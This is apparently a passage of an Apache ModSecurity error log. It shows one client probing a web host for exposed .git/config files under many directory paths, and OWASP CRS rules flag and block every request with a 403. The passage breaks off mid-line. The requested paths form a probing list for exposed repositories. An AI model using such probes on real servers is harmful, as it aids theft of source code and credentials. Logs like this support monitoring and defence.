[Thu Jan 16 14:20:45.602085 2025] [:error] [pid 510637] [client 45.135.232.70:49262] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VeQAAAA8&quot;]
[Thu Jan 16 14:20:45.602342 2025] [:error] [pid 510637] [client 45.135.232.70:49262] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VeQAAAA8&quot;]
[Thu Jan 16 14:20:45.602507 2025] [:error] [pid 510637] [client 45.135.232.70:49262] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VeQAAAA8&quot;]
[Thu Jan 16 14:20:45.603805 2025] [:error] [pid 510629] [client 45.135.232.70:49212] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /samples/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo2AAAAAw&quot;]
[Thu Jan 16 14:20:45.604001 2025] [:error] [pid 510629] [client 45.135.232.70:49212] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo2AAAAAw&quot;]
[Thu Jan 16 14:20:45.604139 2025] [:error] [pid 510629] [client 45.135.232.70:49212] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo2AAAAAw&quot;]
[Thu Jan 16 14:20:45.606678 2025] [:error] [pid 507252] [client 45.135.232.70:49204] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /alpha/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNswAAAAc&quot;]
[Thu Jan 16 14:20:45.606997 2025] [:error] [pid 507252] [client 45.135.232.70:49204] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNswAAAAc&quot;]
[Thu Jan 16 14:20:45.607247 2025] [:error] [pid 507252] [client 45.135.232.70:49204] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/alpha/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNswAAAAc&quot;]
[Thu Jan 16 14:20:45.607391 2025] [:error] [pid 501744] [client 45.135.232.70:49230] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/services/mailer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/services/mailer/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlIAAAAAY&quot;]
[Thu Jan 16 14:20:45.607656 2025] [:error] [pid 501744] [client 45.135.232.70:49230] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/services/mailer/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlIAAAAAY&quot;]
[Thu Jan 16 14:20:45.607865 2025] [:error] [pid 501744] [client 45.135.232.70:49230] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/services/mailer/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlIAAAAAY&quot;]
[Thu Jan 16 14:20:45.609545 2025] [:error] [pid 510616] [client 45.135.232.70:49278] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /dev/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95PAAAAAo&quot;]
[Thu Jan 16 14:20:45.609835 2025] [:error] [pid 510616] [client 45.135.232.70:49278] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95PAAAAAo&quot;]
[Thu Jan 16 14:20:45.610100 2025] [:error] [pid 510616] [client 45.135.232.70:49278] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95PAAAAAo&quot;]
[Thu Jan 16 14:20:45.635799 2025] [:error] [pid 510615] [client 45.135.232.70:49294] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /jobs/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jobs/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0uAAAAAk&quot;]
[Thu Jan 16 14:20:45.636316 2025] [:error] [pid 510615] [client 45.135.232.70:49294] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jobs/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0uAAAAAk&quot;]
[Thu Jan 16 14:20:45.636687 2025] [:error] [pid 510615] [client 45.135.232.70:49294] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jobs/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0uAAAAAk&quot;]
[Thu Jan 16 14:20:45.690814 2025] [:error] [pid 510617] [client 45.135.232.70:49326] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/mail/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiLwAAAAs&quot;]
[Thu Jan 16 14:20:45.691298 2025] [:error] [pid 510617] [client 45.135.232.70:49326] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/mail/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiLwAAAAs&quot;]
[Thu Jan 16 14:20:45.691597 2025] [:error] [pid 510617] [client 45.135.232.70:49326] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/mail/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiLwAAAAs&quot;]
[Thu Jan 16 14:20:45.703539 2025] [:error] [pid 510631] [client 45.135.232.70:49336] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /marketing/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/marketing/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExYAAAAA4&quot;]
[Thu Jan 16 14:20:45.703933 2025] [:error] [pid 510631] [client 45.135.232.70:49336] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/marketing/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExYAAAAA4&quot;]
[Thu Jan 16 14:20:45.704205 2025] [:error] [pid 510631] [client 45.135.232.70:49336] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/marketing/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExYAAAAA4&quot;]
[Thu Jan 16 14:20:45.720524 2025] [:error] [pid 511460] [client 45.135.232.70:49256] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60fQAAAAA&quot;]
[Thu Jan 16 14:20:45.720987 2025] [:error] [pid 511460] [client 45.135.232.70:49256] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60fQAAAAA&quot;]
[Thu Jan 16 14:20:45.721296 2025] [:error] [pid 511460] [client 45.135.232.70:49256] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60fQAAAAA&quot;]
[Thu Jan 16 14:20:45.726842 2025] [:error] [pid 500655] [client 45.135.232.70:49310] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzhgAAAAM&quot;]
[Thu Jan 16 14:20:45.727306 2025] [:error] [pid 500655] [client 45.135.232.70:49310] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzhgAAAAM&quot;]
[Thu Jan 16 14:20:45.727671 2025] [:error] [pid 500655] [client 45.135.232.70:49310] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzhgAAAAM&quot;]
[Thu Jan 16 14:20:45.729145 2025] [:error] [pid 510616] [client 45.135.232.70:49398] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /application/core/services/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/core/services/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95PQAAAAo&quot;]
[Thu Jan 16 14:20:45.730399 2025] [:error] [pid 510616] [client 45.135.232.70:49398] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/core/services/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95PQAAAAo&quot;]
[Thu Jan 16 14:20:45.731987 2025] [:error] [pid 510637] [client 45.135.232.70:49324] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 